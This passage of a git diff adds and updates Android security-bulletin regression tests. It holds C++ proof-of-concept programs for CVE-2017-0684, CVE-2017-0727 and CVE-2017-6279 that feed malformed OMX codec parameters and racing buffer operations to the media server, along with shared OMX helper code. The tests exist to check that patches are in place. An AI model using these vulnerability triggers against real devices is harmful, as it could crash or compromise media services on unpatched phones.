+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/Android.mk
new file mode 100644
index 0000000..78d2e96
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/Android.mk
@@ -0,0 +1,41 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-0684
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/omxUtils.cpp
+LOCAL_MULTILIB := 32
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_C_INCLUDES += frameworks/native/include/media/openmax
+LOCAL_C_INCLUDES += frameworks/av/media/libstagefright/
+LOCAL_C_INCLUDES += frameworks/native/include/media/hardware/
+LOCAL_C_INCLUDES += ../includes
+LOCAL_SHARED_LIBRARIES := liblog
+LOCAL_SHARED_LIBRARIES += libbinder
+LOCAL_SHARED_LIBRARIES += libstagefright
+LOCAL_SHARED_LIBRARIES += libstagefright_foundation
+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += libmedia
+LOCAL_SHARED_LIBRARIES += libui
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/poc.cpp
new file mode 100644
index 0000000..0b8d837
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/poc.cpp
@@ -0,0 +1,166 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/omxUtils.h"
+
+int main() {
+ /* Initialize OMX for the specified codec */
+ status_t ret = omxUtilsInit((char *) "OMX.google.h264.encoder");
+ omxExitOnError(ret);
+
+ /* Get OMX input port parameters */
+ OMX_PARAM_PORTDEFINITIONTYPE *params =
+ (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+ int ipBufferSize = params->nBufferSize;
+ int ipBufferCount = params->nBufferCountActual;
+
+ /* Do OMX Metadata settings */
+ MetadataBufferType type = kMetadataBufferTypeGrallocSource;
+ omxUtilsStoreMetaDataInBuffers(OMX_UTILS_IP_PORT, OMX_TRUE, &type);
+
+ /* Allocate input buffers and graphic buffer */
+ sp<GraphicBuffer> graphicbuffer = new GraphicBuffer(
+ params->format.video.nFrameWidth, params->format.video.nFrameHeight,
+ PIXEL_FORMAT_RGBX_8888,
+ android::GraphicBuffer::USAGE_HW_VIDEO_ENCODER);
+
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[ipBufferCount];
+ sp<MemoryDealer> dealerIn = new MemoryDealer(ipBufferSize * ipBufferCount);
+
+ int i;
+ /* Register input buffers with OMX component */
+ for (i = 0; i < ipBufferCount; i++) {
+ sp<IMemory> memory = dealerIn->allocate(ipBufferSize);
+ memset(memory->pointer(), 0xff, ipBufferSize);
+ *(MetadataBufferType *) (memory->pointer()) =
+ kMetadataBufferTypeGrallocSource;
+ omxUtilsUseBuffer(OMX_UTILS_IP_PORT, memory, &inBufferId[i],
+ ipBufferSize);
+ omxUtilsUpdateGraphicBufferInMeta(OMX_UTILS_IP_PORT, graphicbuffer,
+ inBufferId[i]);
+ }
+
+ /* Get OMX output port parameters */
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+ int opBufferSize = params->nBufferSize;
+ int opBufferCount = params->nBufferCountActual;
+
+ /* Allocate output buffers */
+ IOMX::buffer_id *opBufferId = new IOMX::buffer_id[opBufferCount];
+ sp<MemoryDealer> dealerOut = new MemoryDealer(opBufferSize * opBufferCount);
+
+ /* Register output buffers with OMX component */
+ for (i = 0; i < opBufferCount; i++) {
+ sp<IMemory> memoryout = dealerOut->allocate(opBufferSize);
+ memset(memoryout->pointer(), 0xff, opBufferSize);
+ omxUtilsUseBuffer(OMX_UTILS_OP_PORT, memoryout, &opBufferId[i],
+ opBufferSize);
+ }
+
+ /* Do OMX State chage to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+
+ /* Do OMX State chage to Executing */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+
+ /* Empty input buffers and fill output buffers */
+ omxUtilsEmptyBuffer(inBufferId[0], 0, ipBufferSize, 0, 0, -1);
+ omxUtilsFillBuffer(opBufferId[0], -1);
+ omxUtilsEmptyBuffer(inBufferId[1], 0, ipBufferSize, 0, 0, -1);
+ omxUtilsFillBuffer(opBufferId[1], -1);
+
+ /* Do OMX State chage to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+
+ /* Do OMX State chage to Loaded */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+
+ /* Free input and output buffers */
+ for (i = 0; i < ipBufferCount; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+ }
+ for (i = 0; i < opBufferCount; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, opBufferId[i]);
+ }
+
+ /*********************************************************************/
+ /* Following code exposes vulnerability */
+ /*********************************************************************/
+
+ /* Get OMX input port parameters, change settings and set output port*/
+ /* port parameters */
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+ params->nBufferSize = 38016;
+ params->format.video.nFrameWidth = 2000;
+ params->format.video.nFrameHeight = 2000;
+ omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+
+ /* Allocated input buffers and register with OMX component */
+ sp<MemoryDealer> dealerIn2 = new MemoryDealer(ipBufferSize * ipBufferCount);
+ for (i = 0; i < ipBufferCount; i++) {
+ sp<IMemory> memory = dealerIn2->allocate(ipBufferSize);
+ memset(memory->pointer(), 0xff, ipBufferSize);
+ *(MetadataBufferType *) (memory->pointer()) = (MetadataBufferType) 1;
+ omxUtilsUseBuffer(OMX_UTILS_IP_PORT, memory, &inBufferId[i],
+ ipBufferSize);
+ omxUtilsUpdateGraphicBufferInMeta(OMX_UTILS_IP_PORT, graphicbuffer,
+ inBufferId[i]);
+ }
+
+ /* Allocated output buffers and register with OMX component */
+ sp<MemoryDealer> dealerOut2 = new MemoryDealer(
+ opBufferSize * opBufferCount);
+ for (i = 0; i < opBufferCount; i++) {
+ sp<IMemory> memoryout = dealerOut2->allocate(opBufferSize);
+ memset(memoryout->pointer(), 0xff, opBufferSize);
+ omxUtilsUseBuffer(OMX_UTILS_OP_PORT, memoryout, &opBufferId[i],
+ opBufferSize);
+ }
+
+ /* Do OMX State chage to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+
+ /* Do OMX State chage to Executing */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+
+ /* Empty input buffers and fill output buffers */
+ omxUtilsEmptyBuffer(inBufferId[0], 0, ipBufferSize, 0, 0, -1);
+ omxUtilsFillBuffer(opBufferId[0], -1);
+ omxUtilsEmptyBuffer(inBufferId[1], 0, ipBufferSize, 0, 0, -1);
+ omxUtilsFillBuffer(opBufferId[1], -1);
+
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+
+ /* Do OMX State change to Loaded */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+
+ /* Free input and output buffers */
+ for (i = 0; i < ipBufferCount; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+ }
+ for (i = 0; i < opBufferCount; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, opBufferId[i]);
+ }
+
+ /* Free OMX resources */
+ omxUtilsFreeNode();
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0727/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0727/Android.mk
index b6f098d..bbc4ab5 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0727/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0727/Android.mk
@@ -1,42 +1,40 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0727
-LOCAL_SRC_FILES := poc.cpp
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_SHARED_LIBRARIES := libmedia libutils libcutils libbinder libgui libandroid libui
-LOCAL_C_INCLUDES:= \
- $(TOP)/frameworks/native/include/media/openmax \
- $(TOP)/frameworks/av/media/libstagefright/omx \
- $(TOP)/frameworks/native/include/gui/ \
- $(TOP)/frameworks/av/include/media/
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CPPFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CPPFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wswitch-enum -Wundef
-LOCAL_CPPFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CPPFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CPPFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0727
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+ libmedia \
+ libutils \
+ libbinder \
+ libgui \
+ libui \
+
+LOCAL_C_INCLUDES:= \
+ $(TOP)/frameworks/native/include/media/openmax \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0727/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0727/poc.cpp
index 0bc72b4..3a94590 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0727/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0727/poc.cpp
@@ -1,32 +1,39 @@
-#include <binder/IPCThreadState.h>
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
#include <binder/IServiceManager.h>
-#include <binder/Parcel.h>
#include <binder/ProcessState.h>
-#include <binder/TextOutput.h>
-#include <cutils/ashmem.h>
-#include <cutils/native_handle.h>
-#include <dlfcn.h>
-#include <fcntl.h>
#include <gui/BufferQueue.h>
#include <gui/IProducerListener.h>
-#include <jni.h>
#include <media/IMediaPlayerService.h>
#include <media/IOMX.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/mman.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <utils/NativeHandle.h>
+
+#include "../includes/common.h"
+
using namespace android;
+time_t test_started;
+
static void *start2(void *args) {
void **pair = (void **)args;
sp<IGraphicBufferProducer> bufferProducer =
*(sp<IGraphicBufferProducer> *)pair[0];
sp<IGraphicBufferConsumer> bufferConsumer =
*(sp<IGraphicBufferConsumer> *)pair[1];
- while (1) {
+ while (timer_active(test_started)) {
int slot = BufferQueue::INVALID_BUFFER_SLOT;
sp<Fence> fence;
bufferProducer->dequeueBuffer(&slot, &fence, 0, 0, 0, 0);
@@ -51,13 +58,14 @@
}
return NULL;
}
+
struct DummyConsumer : public BnConsumerListener {
virtual void onFrameAvailable(const BufferItem & /* item */) {}
virtual void onBuffersReleased() {}
virtual void onSidebandStreamChanged() {}
};
-int main(__attribute__((unused)) int argc,
- __attribute__((unused)) char *const argv[]) {
+
+int main() {
sp<IServiceManager> sm = defaultServiceManager();
sp<IBinder> binder = sm->getService(String16("media.player"));
sp<IMediaPlayerService> service = interface_cast<IMediaPlayerService>(binder);
@@ -67,7 +75,7 @@
status_t status =
omx->createPersistentInputSurface(&bufferProducer, &bufferConsumer);
if (status != OK) {
- return -1;
+ return EXIT_FAILURE;
}
sp<DummyConsumer> dc(new DummyConsumer);
@@ -77,9 +85,12 @@
false, &output);
void *pair[2] = {&bufferProducer, &bufferConsumer};
pthread_t thread;
+ test_started = start_timer();
pthread_create(&thread, NULL, start2, pair);
- while (1) {
+ pthread_join(thread, NULL);
+
+ while (timer_active(test_started)) {
int slot = BufferQueue::INVALID_BUFFER_SLOT;
sp<Fence> fence;
bufferProducer->dequeueBuffer(&slot, &fence, 0, 0, 0, 0);
@@ -102,6 +113,5 @@
transform);
}
- pthread_join(thread, NULL);
- return 0;
+ return EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6279/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6279/Android.mk
new file mode 100644
index 0000000..0164411
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6279/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-6279
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := 32
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+
+LOCAL_C_INCLUDES:= \
+ $(TOP)/frameworks/native/include/media/openmax \
+
+LOCAL_SHARED_LIBRARIES := \
+ libbinder \
+ libmedia \
+ liblog \
+ libutils \
+
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS = -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6279/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6279/poc.cpp
new file mode 100644
index 0000000..7caf4a6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6279/poc.cpp
@@ -0,0 +1,192 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions vand
+ * limitations under the License.
+ */
+
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+#include "OMX_Component.h"
+
+using namespace android;
+
+template <class T>
+static void InitOMXParams(T *params) {
+ params->nSize = sizeof(T);
+ params->nVersion.s.nVersionMajor = 1;
+ params->nVersion.s.nVersionMinor = 0;
+ params->nVersion.s.nRevision = 0;
+ params->nVersion.s.nStep = 0;
+}
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+ DummyOMXObserver() {}
+
+ virtual void onMessages(const std::list<omx_message> &) {}
+
+ protected:
+ virtual ~DummyOMXObserver() {}
+};
+
+struct DeathRecipient : public IBinder::DeathRecipient {
+ DeathRecipient() : mDied(false) {}
+ bool mDied;
+ virtual void binderDied(const wp<IBinder> &) { mDied = true; }
+ bool died() const { return mDied; }
+};
+
+extern bool connectOMX(sp<IOMX> &omx) {
+ sp<IBinder> binder;
+ sp<IServiceManager> sm = defaultServiceManager();
+
+ binder = sm->getService(String16("media.player"));
+ sp<IMediaPlayerService> service = interface_cast<IMediaPlayerService>(binder);
+ if (binder == NULL) {
+ ALOGE("cannot get the media player service");
+ return false;
+ }
+
+ omx = service->getOMX();
+ if (omx == NULL) {
+ ALOGE("cannot get the OMX interface");
+ return false;
+ }
+ return true;
+}
+
+IOMX::buffer_id *inBufferId = nullptr;
+IOMX::buffer_id *outBufferId = nullptr;
+
+static int exit_test(int ret_code) {
+ if (inBufferId != nullptr) {
+ delete[] inBufferId;
+ }
+ if (outBufferId != nullptr) {
+ delete[] outBufferId;
+ }
+ return ret_code;
+}
+
+
+
+int main() {
+ sp<IOMX> service;
+ if (connectOMX(service) == false) {
+ ALOGE("failed in connectOMX");
+ return EXIT_FAILURE;
+ }
+
+ IOMX::node_id node = 0;
+ sp<DummyOMXObserver> observer = new DummyOMXObserver();
+ const char *codecName = "OMX.Nvidia.aac.decoder";
+ status_t err = service->allocateNode(codecName, observer, nullptr, &node);
+ if (err != OK) {
+ ALOGE("failed in service allocate node");
+ return EXIT_FAILURE;
+ }
+
+ err = service->sendCommand(node, OMX_CommandStateSet, 2);
+ if (err != OK) {
+ ALOGE("failed in service sendCommand");
+ return EXIT_FAILURE;
+ }
+
+ // get input port parameters
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ InitOMXParams(&def);
+ def.nPortIndex = 0;
+ OMX_INDEXTYPE omx_indextype = OMX_IndexParamPortDefinition;
+ err = service->getParameter(node, omx_indextype, &def, sizeof(def));
+ if (err != OK) {
+ ALOGE("port 0: %u buffers of size %u", def.nBufferCountActual,
+ def.nBufferSize);
+ return EXIT_FAILURE;
+ }
+
+ int inMemSize = def.nBufferCountActual * def.nBufferSize;
+ int inBufferCnt = def.nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+ sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+ // get output port parameters
+ InitOMXParams(&def);
+ def.nPortIndex = 1;
+ err = service->getParameter(node, omx_indextype, &def, sizeof(def));
+ if (err != OK) {
+ ALOGE("port 1: %u buffers of size %u", def.nBufferCountActual,
+ def.nBufferSize);
+ exit_test(EXIT_FAILURE);
+ }
+
+ // prepare output port buffers
+ int outMemSize = def.nBufferCountActual * def.nBufferSize;
+ int outBufferCnt = def.nBufferCountActual;
+ int outBufferSize = outMemSize / outBufferCnt;
+ sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ int byte_array[] = {0, 104, 0, 0, 0};
+ for (int i = 0; i < inBufferCnt; i++) {
+ sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+ memset(memory->pointer(), byte_array[i], inBufferSize);
+ err = service->useBuffer(node, 0, memory, &inBufferId[i], inBufferSize);
+ if (err != OK) {
+ ALOGE("failed in service useBuffer");
+ exit_test(EXIT_FAILURE);
+ }
+ }
+ for (int i = 0; i < outBufferCnt; i++) {
+ sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+ memset(memory->pointer(), 0xcd, outBufferSize);
+ err = service->allocateBufferWithBackup(node, 1, memory, &outBufferId[i],
+ outBufferSize);
+ if (err != OK) {
+ ALOGE("failed in service allocateBufferWithBackup");
+ exit_test(EXIT_FAILURE);
+ }
+ }
+
+ // change state from idle to executing
+ err = service->sendCommand(node, OMX_CommandStateSet, 3);
+ if (err != OK) {
+ ALOGE("failed in service sendCommand");
+ exit_test(EXIT_FAILURE);
+ }
+
+ sleep(1);
+ int fenceFd = -1;
+ for (int i = 0; i < inBufferCnt; i++) {
+ err = service->emptyBuffer(node, inBufferId[i], 0, inBufferSize, 0, 0,
+ fenceFd);
+ if (err != OK) {
+ ALOGE("emptyBuffer, inBufferId[%d], err%d", i, err);
+ exit_test(EXIT_FAILURE);
+ }
+ }
+
+ for (int i = 0; i < outBufferCnt; i++) {
+ err = service->fillBuffer(node, outBufferId[i], fenceFd);
+ if (err != OK) {
+ ALOGE("fillBuffer, err: %d", err);
+ exit_test(EXIT_FAILURE);
+ }
+ }
+
+ service->freeNode(node);
+
+ exit_test(EXIT_SUCCESS);
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.cpp b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.cpp
new file mode 100644
index 0000000..079521f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.cpp
@@ -0,0 +1,172 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "omxUtils.h"
+
+sp<IMediaPlayerService> mediaPlayerService = NULL;
+IOMX::node_id node = 0;
+sp<IOMX> service = NULL;
+omx_message msg;
+Mutex mLock;
+Condition mMessageAddedCondition;
+int32_t mLastMsgGeneration;
+int32_t mCurGeneration;
+List<omx_message> mMessageQueue;
+
+struct CodecObserver : public BnOMXObserver {
+ public:
+ CodecObserver(int32_t gen)
+ : mGeneration(gen) {
+ }
+
+ void onMessages(const std::list<omx_message> &messages) override;
+ int32_t mGeneration;
+
+ protected:
+ virtual ~CodecObserver() {
+ }
+};
+void handleMessages(int32_t gen, const std::list<omx_message> &messages) {
+ Mutex::Autolock autoLock(mLock);
+ for (std::list<omx_message>::const_iterator it = messages.cbegin();
+ it != messages.cend();) {
+ mMessageQueue.push_back(*it++);
+ mLastMsgGeneration = gen;
+ }
+ mMessageAddedCondition.signal();
+}
+void CodecObserver::onMessages(const std::list<omx_message> &messages) {
+ handleMessages(mGeneration, messages);
+}
+
+status_t dequeueMessageForNode(omx_message *msg, int64_t timeoutUs) {
+ int64_t finishBy = ALooper::GetNowUs() + timeoutUs;
+ status_t err = OK;
+
+ while (err != TIMED_OUT) {
+ Mutex::Autolock autoLock(mLock);
+ if (mLastMsgGeneration < mCurGeneration) {
+ mMessageQueue.clear();
+ }
+ // Messages are queued in batches, if the last batch queued is
+ // from a node that already expired, discard those messages.
+ List<omx_message>::iterator it = mMessageQueue.begin();
+ while (it != mMessageQueue.end()) {
+ if ((*it).node == node) {
+ *msg = *it;
+ mMessageQueue.erase(it);
+ return OK;
+ }
+ ++it;
+ }
+ if (timeoutUs < 0) {
+ err = mMessageAddedCondition.wait(mLock);
+ } else {
+ err = mMessageAddedCondition.waitRelative(
+ mLock, (finishBy - ALooper::GetNowUs()) * 1000);
+ }
+ }
+ return err;
+}
+void omxUtilsCheckCmdExecution(char *name) {
+ status_t err = dequeueMessageForNode(&msg, DEFAULT_TIMEOUT);
+ if (err == TIMED_OUT) {
+ ALOGE("[omxUtils] OMX command timed out for %s, exiting the app", name);
+ exit (EXIT_FAILURE);
+ }
+}
+void omxExitOnError(status_t ret) {
+ if (ret != OK) {
+ exit (EXIT_FAILURE);
+ }
+}
+status_t omxUtilsInit(char *codecName) {
+ android::ProcessState::self()->startThreadPool();
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> binder = sm->getService(String16("media.player"));
+ sp<IMediaPlayerService> mediaPlayerService = interface_cast
+ <IMediaPlayerService> (binder);
+ if (mediaPlayerService == NULL) {
+ return NO_INIT;
+ }
+ service = mediaPlayerService->getOMX();
+ if (service == NULL) {
+ return NO_INIT;
+ }
+ sp<CodecObserver> observer = new CodecObserver(++mCurGeneration);
+ return service->allocateNode(codecName, observer, NULL, &node);
+}
+status_t omxUtilsGetParameter(int portIndex,
+ OMX_PARAM_PORTDEFINITIONTYPE *params) {
+ InitOMXParams(params);
+ params->nPortIndex = portIndex;
+ return service->getParameter(node, OMX_IndexParamPortDefinition, params,
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+}
+status_t omxUtilsSetParameter(int portIndex,
+ OMX_PARAM_PORTDEFINITIONTYPE *params) {
+ InitOMXParams(params);
+ params->nPortIndex = portIndex;
+ return service->setParameter(node, OMX_IndexParamPortDefinition, params,
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+}
+status_t omxUtilsStoreMetaDataInBuffers(OMX_U32 portIndex, OMX_BOOL enable,
+ MetadataBufferType *type) {
+ return service->storeMetaDataInBuffers(node, portIndex, enable, type);
+}
+
+status_t omxUtilsUseBuffer(OMX_U32 portIndex, const sp<IMemory> ¶ms,
+ android::BnOMX::buffer_id *buffer,
+ OMX_U32 allottedSize) {
+ return service->useBuffer(node, portIndex, params, buffer, allottedSize);
+}
+status_t omxUtilsEnableNativeBuffers(OMX_U32 portIndex, OMX_BOOL graphic,
+ OMX_BOOL enable) {
+ return service->enableNativeBuffers(node, portIndex, graphic, enable);
+}
+status_t omxUtilsAllocateBufferWithBackup(OMX_U32 portIndex,
+ const sp<IMemory> ¶ms,
+ android::BnOMX::buffer_id *buffer,
+ OMX_U32 allottedSize) {
+ return service->allocateBufferWithBackup(node, portIndex, params, buffer,
+ allottedSize);
+}
+status_t omxUtilsUpdateGraphicBufferInMeta(OMX_U32 portIndex,
+ const sp<GraphicBuffer> &graphicBuffer,
+ android::BnOMX::buffer_id buffer) {
+ return service->updateGraphicBufferInMeta(node, portIndex, graphicBuffer,
+ buffer);
+}
+status_t omxUtilsSendCommand(OMX_COMMANDTYPE cmd, OMX_S32 param) {
+ int ret = service->sendCommand(node, cmd, param);
+ omxUtilsCheckCmdExecution((char *) __FUNCTION__);
+ return ret;
+}
+status_t omxUtilsEmptyBuffer(android::BnOMX::buffer_id buffer,
+ OMX_U32 range_offset, OMX_U32 range_length,
+ OMX_U32 flags, OMX_TICKS timestamp, int fenceFd) {
+ return service->emptyBuffer(node, buffer, range_offset, range_length, flags,
+ timestamp, fenceFd);
+}
+status_t omxUtilsFillBuffer(android::BnOMX::buffer_id buffer, int fenceFd) {
+ return service->fillBuffer(node, buffer, fenceFd);
+}
+status_t omxUtilsFreeBuffer(OMX_U32 portIndex,
